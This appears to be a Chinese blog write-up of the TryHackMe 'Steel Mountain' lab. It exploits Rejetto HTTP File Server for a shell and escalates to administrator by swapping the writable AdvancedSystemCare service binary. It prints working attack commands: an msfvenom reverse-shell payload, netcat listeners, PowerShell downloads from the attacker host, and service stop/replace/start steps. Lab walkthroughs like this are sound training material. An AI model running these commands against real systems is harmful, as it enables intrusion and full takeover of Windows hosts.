【THM】钢铁山

发布时间 2023-12-11 11:53:51作者: trymonoly

 找到本月最佳员工是bill Harper

发现运行在8080的是Rejetto HTTP File Server,然后去exploit上寻找利用漏洞

 

 用msf获得shell

 拿到了题目说的用户标志

权限提升

 

为了枚举这台机器,我们将使用一个名为 PowerUp 的 powershell 脚本,其目的是评估 Windows 机器并确定任何异常情况 - PowerUp 旨在成为依赖于错误配置的常见 Windows 权限提升向量的交流中心

您可以在此处下载脚本。 如果要通过命令行下载它,请注意不要下载 GitHub 页面而不是原始脚本。 现在,您可以使用 Metasploit 中的 upload 命令上传脚本。

 

 上传成功了

然后我们可以通过meterpreter会话来加载PowerShell扩展,并进入 PowerShell的shell界面并执行脚本:

load powershell
powershell_shell
Import-Module .\PowerUp.ps1
Invoke-AllChecks

 

 查看输出,有一个特定服务的 CanRestart 选项被设置为 true,此选项被设置为 true 后,我们就能够在系统上重新启动此服务;而且这个应用程序的目录也是可写的,这意味着我们可以用一个恶意应用程序替换合法的应用程序,一旦服务重新启动,我们的恶意程序将运行。

ServiceName :AdvancedSystemCareService9

ModifiablePath:C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

使用 msfvenom 生成反向 shell 作为 Windows 可执行文件。

msfvenom -p windows/shell_reverse_tcp LHOST=10.14.66.42 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

上传您的二进制文件并替换合法的二进制文件。然后重新启动程序以 root 身份获取 shell。

进入普通的windows shell界面,我们先停止合法的服务运行,然后用恶意的二进制程序替换正常的同名应用程序文件:

shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

 

关于SC命令(Windows shell不区分大小写):

 
SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues]

Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\\myserver”)。如果是在本地运行SC.exe,请忽略此参数。
command :如query,start,stop,create,config等

Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。
Optionname= Optionvalues:是选项名和选项的值。

 

在重新启动服务之前,我们需要在攻击机终端中设置一个netcat侦听器:

nc -nlvp 1234

然后我们可以在 windows shell 中重新启动之前停止的服务:

sc start AdvancedSystemCareService9
就可以得到一个root的shell
 

不使用Metasploit获取初始访问权限并提权

注意:此处建议重启目标机。

现在,我们来看看如何在不使用 Metasploit 的情况下获得初始权限和进行权限提升。为此,我们将使用 PowerShell 和 winPEAS 来枚举目标系统并收集相关信息以提权到管理员用户。

我们还是使用之前提到的CVE编号所对应的漏洞来获取初始访问权限,然而,这次我们手动使用exp而不是通过msf来执行exp。

为了使这种攻击起作用,需要同时激活Web服务器和netcat侦听器,如果你的系统上还没有 netcat 静态二进制文件,那么你可以从GitHub下载。我们还将使用 winPEAS来枚举目标机系统信息。

netcat二进制文件:https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe

winPEAS(在下载页选择winPEASx64.exe):https://github.com/carlospolop/PEASS-ng/releases/tag/20221009

为了方便起见,我新建了一个文件夹放置刚才下载的三个文件(exp脚本使用之前--记得修改好ip和端口,下载的netcat二进制文件要修改名称为nc.exe):

 

然后需要开启3个独立的终端窗口来完成攻击:

终端1-通过python启用 HTTP web 服务器

#终端界面进入到/home/hekeats/桌面/SteelMountain目录 #python3 -m http.server 8000 无响应 python2 -m SimpleHTTPServer 80

终端2-设置netcat 监听器

nc -nvlp 1234

终端3-执行exp进行攻击(注意所用脚本的python版本)

#终端界面进入到/home/hekeats/桌面/SteelMountain目录 python2 39161.py 10.10.42.153 8080 #第一次执行会将SteelMountain/目录下的nc.exe上传到目标系统 python2 39161.py 10.10.42.153 8080 #第二次执行会发送一个反向shell回连到攻击机监听器

在终端2界面 成功获取目标机的shell:

 使用Powershell相关命令将winPEAS脚本拉取到目标系统上:

#使用终端2界面
cd C:\Users\Bill\Desktop
#Format is "powershell -c "command here"
powershell -c wget "http://10.14.30.69/winPEASx64.exe" -outfile "winPEAS.exe"

运行winPEAS脚本(枚举目标系统的信息,如服务名称等):

#使用终端2界面
winPEAS.exe
#我们也可以运行powershell -c 命令手动查找服务名称:powershell -c "Get-Service"

 运行winPEAS之后,查看输出的服务信息,观察在运行时"未引用路径"的服务名称

 

然后可以通过 PowerShell 将这些数据传输到目标系统中:

#使用终端2界面 powershell -c wget "http://10.14.30.69/ASCService.exe" -outfile "ASCService.exe"

image

然后,我们可以停止合法的服务运行,并用我们的恶意二进制文件替换应用程序文件:

sc stop AdvancedSystemCareService9 copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

image

在重新启动服务之前,需要在本地机器上使用创建有效负载时引用的端口设置一个netcat侦听器:

#使用终端3界面 nc -lvnp 4444

当攻击机上的netcat侦听器正在运行时,可以在目标机上重新启动刚才停止的服务:

#终端2界面 sc start AdvancedSystemCareService9

在目标机上重启服务之后,攻击机将获取到反向shell,权限为管理员级别,现在在攻击机界面操作:切换到 Administrator 的 Desktop 目录并获取 root.txt 文件

#在终端3界面 cd C:\Users\Administrator\Desktop dir more root.txt
 
后续和meletaerpe一样
 
 
大概思路拿到普通shell上传枚举工具查看服务应用有无漏洞,然后利用替换文件,去让系统执行该文件,像极了cron任务,替换任务让高权限用户去运行,返回他的高权限。
结束,还需要好好学习。